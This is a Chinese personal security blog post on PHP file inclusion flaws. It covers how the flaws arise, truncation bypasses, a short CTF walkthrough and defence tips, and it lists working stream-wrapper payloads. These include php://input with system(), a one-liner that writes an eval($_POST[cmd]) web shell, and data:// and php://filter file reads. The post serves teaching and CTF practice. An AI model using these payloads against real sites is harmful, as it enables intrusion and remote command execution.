type
status
date
slug
summary
tags
category
icon
password

0x00 漏洞产生原因

文件包含解析漏洞,往往会造成网站的信息泄露,执行命令等,原因是因为在网站中间件的配置文件例如php.ini里面的函数造成,漏洞的存在要保证一下两个函数处于开启状态
allow_url_fopen = On:
通俗来讲,allow_url_fopen函数是允许http://和ftp://将url中当作文件处理,
allow_url_include = Off:
allow_url_include是允许include/require打开URL也将其组为文件处理,
include函数:多次包含 include_once()一次包含
Include()函数可以获取指定的文件中的所有文本,并把文本拷贝到使用include()函数的文件中。当包含遇到错误,如包含文件不存在时,include()函数会生成警告,但是脚本继续执行。
require函数:多次包含 require_once()一次包含
Require()函数同样接受所有的文本文件,并且也将文件复制到使用函数的文件中,但是当此函数遇到错误时,如被包含文件不存在,require()函数会爆出错误,并且脚本停止执行。
文件包含的分类: 本地包含:127.0.0.1/?filename=../../../1.txt (当作php执行) 远程包含:危害更大:127.0.0.1/?filename=http://www.xxx.com/1.txt)
简单绕过: %00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 filename=…/…/…/www.txt%00 长度截断:条件:windows,点号需要长于256;linux 长于4096

0x01 文件包含解析漏洞-百度杯-CTF案例

> 首先介绍文件包含协议流玩法:
> #https://www.cnblogs.com/endust/p/11804767.html http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
> http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?>
> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
> http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
> http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
题目页面:
notion image
发现path传参,通过get传参不行,需要以post方式传参,这里利用上面协议流filename=php://input Post: 漏洞尝试 发现可疑文件
notion image
利用漏洞读取函数获取flag
notion image

0x02 漏洞防范

1.固定后缀
2.固定文件
3.部署WAF产品
漏洞挖掘技巧-开源程序漏洞挖掘DNSlog简介
告白
告白
一个普通的干饭人🍚
公告
type
status
date
slug
summary
tags
category
icon
password
🎉告白的个人日常博客🎉
-- 关注微信公众号 ---
Gaobai文库
本站内存在文章缺失,框架组件问题待解决
原博客kxsy.work文章已在慢慢迁移本站
渗透时长两年半的个人练习生
-- 感谢您的支持 ---
👏欢迎阅览👏